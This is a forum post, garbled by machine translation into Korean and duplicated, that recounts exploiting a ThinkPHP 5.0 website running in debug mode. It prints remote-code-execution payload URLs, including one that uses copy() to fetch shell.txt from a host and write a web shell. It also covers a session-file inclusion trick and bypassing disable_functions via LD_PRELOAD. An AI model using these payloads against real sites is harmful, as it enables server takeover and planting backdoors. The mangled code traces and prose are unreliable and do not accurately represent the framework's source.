KoreanHackerTeam
Moderator
이 기사는 보안 팀 공식 계정의 출처로 추적 할 수 없습니다.
로그 파일, Open_basedir 한도를 포함 시키십시오
다음은 런타임에 로그 파일을 포함시킬 수 있지만 ThinkPhp의 로그 파일은 비교적 크며 때로는 코드 실행을 차단하는 이상한 문제가 많이 있습니다. 대안으로 사용합시다.
ThinkPhp 자체 라이브러리에서 세션 메소드를 설정하여 TMP 디렉토리의 세션 파일에 스크립트를 작성한 다음 포함하십시오.
1_METHOD=__ ConstructFilter []=Think \ Session: 세트 메드=GetServer [request_method]=? phpinfo ();
마스터 노엘의 솔루션 및 분석 :
Call_user_func은 request.php의 필터 값 함수 하에서 존재합니다. 페이로드에 따르면 프로세스가 추적됩니다.
먼저, app.php의 실행 메소드를 입력합니다
12345678910111213141516171718192021222222425 공개 정적 함수 실행 (요청 $ 요청=null) {………………………………………………………………………………………………………………………………………… 일정 정보를 얻기위한 현재 클래스. 인덱스 모듈에서 인덱스 컨트롤러에서 인덱스 메소드에 액세스하면 $ dispatch=array (2) {[ 'type']=String (6) 'module'[ 'module']=array (3) {[0]=String (5) 'index'[1]=String (5) 'index'[2]=String (5) 'index'}}}}}}}}}}}}} self:3360RouteCheck ($ request, $ config); } //현재 일정 정보를 기록합니다. 검색된 스케줄링 정보, 즉 모듈, 컨트롤러 및 메소드 이름은 요청 클래스의 Dispatch 속성에 저장됩니다. $ request-dispatch ($ dispatch); //레코드 라우팅 및 요청 정보. 모드는 \ application \ config.php 매개 변수 app_debug if (self: $ debug) {log:record ( '[rout]' '. var_export ($ dispatch, true),'info ')에서 구성 가능합니다. log:record ( '[Header]'. var_export ($ reques-header (), true), 'info'); log:3360record ( '[param]'. var_export ($ request-param (), true), 'info'); } …………………………………
12345678public static function rounecheck ($ request, array $ config) {$ path=$ request-path (); $ dall=$ config [ 'pathinfo_depr']; $ result=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']); 주로 요청 매개 변수에 전달되며 모든 것이 기본적으로 확인 후 처리됩니다.
디버그 모드가 활성화되면 Param 함수를 입력 할 수 있습니다.
1234567if (빈 ($ this-param)) {$ method=$ this-method (true); $ this-param=array_merge ($ this-get (false), $ vars, $ this-route (false));} $ this-input ($ this-param, $ name, $ default, $ filter); 입력 함수에 대한 후속 조치
1234567891011 공개 함수 입력 ($ data=[], $ name='', $ default=null, $ filter='') {. $ filter=$ this-getFilter ($ filter, $ default); if (is_array ($ data)) {array_walk_recursive ($ data, [$ this, 'filterValue'], $ 필터); 재설정 ($ data); } else {$ this-filterValue ($ data, $ name, $ filter); } getFilter는 필터의 값을 꺼냅니다.
Array_Walk_Recursive
Array_Walk_Recursive () 함수는 배열의 각 요소에 사용자 정의 함수를 적용합니다. 함수에서 배열의 키 이름과 키 값은 매개 변수입니다. 이 함수와 Array_Walk () 함수의 차이점은 더 깊은 배열을 조작 할 수 있다는 것입니다 (한 배열에는 다른 배열이 포함되어 있음).
FilterValue 기능을 $ 데이터의 각 요소에 적용하고 FilterValue 후속 조치
12345678Function FilterValue ($ value, $ key, $ 필터) {. if (is_callable ($ filter)) {//콜 함수 또는 메소드를 필터링하는 value=call_user_func ($ filter, $ value); } .} Master Gunmeng의 솔루션 및 분석 :
페이로드 참조 :
보낸 사람 : https://xz.aliyun.com/t/3570#toc-4
1http://127.0.0.1/index.php?s=index/theink/aph_arrayvars=] func_arrayvars;0 ]=ASSERTVARS==]==PHPINFO()Execute phpinfo (여기서? S=이후).
1https://127.0.0.1/?s=./\ \ app/app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertVars [1] []=phpinfo () 쉘을 가져갑니다
1https://127.0.0.1/?s=./\ think\app/invokefunctionfunction=call_user_func_arrayvars=]=]=AssertVars=]=Copy('http://127.0.1/shell.txt ', notest.php')? 현재 디렉토리 상황 및 분석이 주어지면 :
route.php의 parseurl 함수는 URL을 처리합니다
1234567 정적 함수 parseurl ($ url, $ urt='/', $ autoSearch=false) {. $ url=str_replace ($ dump, '|', $ url); 목록 ($ path, $ var)=self
arseurlpath ($ url);} 먼저 URL에서 | 그런 다음 parseurlpath를 통해 URL을 분할하십시오
1234567891011121314151617 프리 페트 정적 함수 parseurlpath ($ url) {//delimiter 교체 경로 정의가 통합 된 delimiter $ url=str_replace ( '|', ', $ url)를 사용하는지 확인하십시오. $ url=trim ($ url, '/'); $ var=[]; if (false!==strpos ($ url, '?')) {.} elseif (strpos ($ url, '/')) {//[module/controller/operation] $ path=exploit ( '/', $ url); } else {.} return [$ path, $ var]; } 다음 세 부분을 가져옵니다
모듈이로드 될 때 loder.php 아래에서 parsename 함수
1234567891011public static function parsename ($ name, $ type=0, $ ucfirst=true) {if ($ type) {$ name=preg_replace_callback ( '/_ ([a-za-z]]), 함수 ($ match) {return strtoupper ($ match [1]); $ ucfirst를 반환합니까? UCfirst ($ name) : lcfirst ($ name); } else {return strtolower (trim (preg_replace ( '/[a-z]/', '_ \\ 0', $ name), '_')); }}
이제 \ Think \ App 클래스가 인스턴스화되고 InvokeFunction 메소드가 실행됩니다.
그래서 추가하는 이유는 ./\는 조금 더 뛰어 넘을 수 있기 때문입니다.
처음에는 장애인 콘텐츠를주의 깊게 보지 않았으므로 방금 사용했습니다.
github.com
그러나 Putenv는 장애가있는 것으로 밝혀졌습니다
이 기사를 통해 방법을 변경하십시오
PCNTL 확장자를 사용하여 시스템 지원을 확인했습니다.
마지막으로 명령이 성공적으로 실행되었습니다
0x01 前言
ThinkPhp v5.0을 사용하여 프로젝트에서 웹 사이트를 만났습니다.* 프레임 워크와 디버그 모드가 활성화되었습니다. 나는 페이로드를 보내면 해결할 수 있다고 생각했지만, 그것을 얻는 과정이 완료되어야 할 것이라고 기대하지는 않았다 .0x02 踩坑
명령을 실행하려고 시도하면 시스템이 제한됩니다.
로그 파일, Open_basedir 한도를 포함 시키십시오

다음은 런타임에 로그 파일을 포함시킬 수 있지만 ThinkPhp의 로그 파일은 비교적 크며 때로는 코드 실행을 차단하는 이상한 문제가 많이 있습니다. 대안으로 사용합시다.

ThinkPhp 자체 라이브러리에서 세션 메소드를 설정하여 TMP 디렉토리의 세션 파일에 스크립트를 작성한 다음 포함하십시오.
1_METHOD=__ ConstructFilter []=Think \ Session: 세트 메드=GetServer [request_method]=? phpinfo ();

0x03 GetShell
말이 진행되는 바와 같이, 3 개의 조약돌은 한 명의 조지 리앙이며, 석사들에게 도움을 요청한 후에는 해결책을 제시했습니다.마스터 노엘의 솔루션 및 분석 :

Call_user_func은 request.php의 필터 값 함수 하에서 존재합니다. 페이로드에 따르면 프로세스가 추적됩니다.
먼저, app.php의 실행 메소드를 입력합니다
12345678910111213141516171718192021222222425 공개 정적 함수 실행 (요청 $ 요청=null) {………………………………………………………………………………………………………………………………………… 일정 정보를 얻기위한 현재 클래스. 인덱스 모듈에서 인덱스 컨트롤러에서 인덱스 메소드에 액세스하면 $ dispatch=array (2) {[ 'type']=String (6) 'module'[ 'module']=array (3) {[0]=String (5) 'index'[1]=String (5) 'index'[2]=String (5) 'index'}}}}}}}}}}}}} self:3360RouteCheck ($ request, $ config); } //현재 일정 정보를 기록합니다. 검색된 스케줄링 정보, 즉 모듈, 컨트롤러 및 메소드 이름은 요청 클래스의 Dispatch 속성에 저장됩니다. $ request-dispatch ($ dispatch); //레코드 라우팅 및 요청 정보. 모드는 \ application \ config.php 매개 변수 app_debug if (self: $ debug) {log:record ( '[rout]' '. var_export ($ dispatch, true),'info ')에서 구성 가능합니다. log:record ( '[Header]'. var_export ($ reques-header (), true), 'info'); log:3360record ( '[param]'. var_export ($ request-param (), true), 'info'); } …………………………………
12345678public static function rounecheck ($ request, array $ config) {$ path=$ request-path (); $ dall=$ config [ 'pathinfo_depr']; $ result=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']); 주로 요청 매개 변수에 전달되며 모든 것이 기본적으로 확인 후 처리됩니다.

디버그 모드가 활성화되면 Param 함수를 입력 할 수 있습니다.
1234567if (빈 ($ this-param)) {$ method=$ this-method (true); $ this-param=array_merge ($ this-get (false), $ vars, $ this-route (false));} $ this-input ($ this-param, $ name, $ default, $ filter); 입력 함수에 대한 후속 조치
1234567891011 공개 함수 입력 ($ data=[], $ name='', $ default=null, $ filter='') {. $ filter=$ this-getFilter ($ filter, $ default); if (is_array ($ data)) {array_walk_recursive ($ data, [$ this, 'filterValue'], $ 필터); 재설정 ($ data); } else {$ this-filterValue ($ data, $ name, $ filter); } getFilter는 필터의 값을 꺼냅니다.
Array_Walk_Recursive
Array_Walk_Recursive () 함수는 배열의 각 요소에 사용자 정의 함수를 적용합니다. 함수에서 배열의 키 이름과 키 값은 매개 변수입니다. 이 함수와 Array_Walk () 함수의 차이점은 더 깊은 배열을 조작 할 수 있다는 것입니다 (한 배열에는 다른 배열이 포함되어 있음).
FilterValue 기능을 $ 데이터의 각 요소에 적용하고 FilterValue 후속 조치
12345678Function FilterValue ($ value, $ key, $ 필터) {. if (is_callable ($ filter)) {//콜 함수 또는 메소드를 필터링하는 value=call_user_func ($ filter, $ value); } .} Master Gunmeng의 솔루션 및 분석 :
페이로드 참조 :
보낸 사람 : https://xz.aliyun.com/t/3570#toc-4
1http://127.0.0.1/index.php?s=index/theink/aph_arrayvars=] func_arrayvars;0 ]=ASSERTVARS==]==PHPINFO()Execute phpinfo (여기서? S=이후).
1https://127.0.0.1/?s=./\ \ app/app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertVars [1] []=phpinfo () 쉘을 가져갑니다
1https://127.0.0.1/?s=./\ think\app/invokefunctionfunction=call_user_func_arrayvars=]=]=AssertVars=]=Copy('http://127.0.1/shell.txt ', notest.php')? 현재 디렉토리 상황 및 분석이 주어지면 :

route.php의 parseurl 함수는 URL을 처리합니다
1234567 정적 함수 parseurl ($ url, $ urt='/', $ autoSearch=false) {. $ url=str_replace ($ dump, '|', $ url); 목록 ($ path, $ var)=self

1234567891011121314151617 프리 페트 정적 함수 parseurlpath ($ url) {//delimiter 교체 경로 정의가 통합 된 delimiter $ url=str_replace ( '|', ', $ url)를 사용하는지 확인하십시오. $ url=trim ($ url, '/'); $ var=[]; if (false!==strpos ($ url, '?')) {.} elseif (strpos ($ url, '/')) {//[module/controller/operation] $ path=exploit ( '/', $ url); } else {.} return [$ path, $ var]; } 다음 세 부분을 가져옵니다

모듈이로드 될 때 loder.php 아래에서 parsename 함수
1234567891011public static function parsename ($ name, $ type=0, $ ucfirst=true) {if ($ type) {$ name=preg_replace_callback ( '/_ ([a-za-z]]), 함수 ($ match) {return strtoupper ($ match [1]); $ ucfirst를 반환합니까? UCfirst ($ name) : lcfirst ($ name); } else {return strtolower (trim (preg_replace ( '/[a-z]/', '_ \\ 0', $ name), '_')); }}

이제 \ Think \ App 클래스가 인스턴스화되고 InvokeFunction 메소드가 실행됩니다.

그래서 추가하는 이유는 ./\는 조금 더 뛰어 넘을 수 있기 때문입니다.
0x04 bypass disable_functions
뷰 비활성화
처음에는 장애인 콘텐츠를주의 깊게 보지 않았으므로 방금 사용했습니다.
GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)
bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

이 기사를 통해 방법을 변경하십시오
PCNTL 확장자를 사용하여 시스템 지원을 확인했습니다.

마지막으로 명령이 성공적으로 실행되었습니다
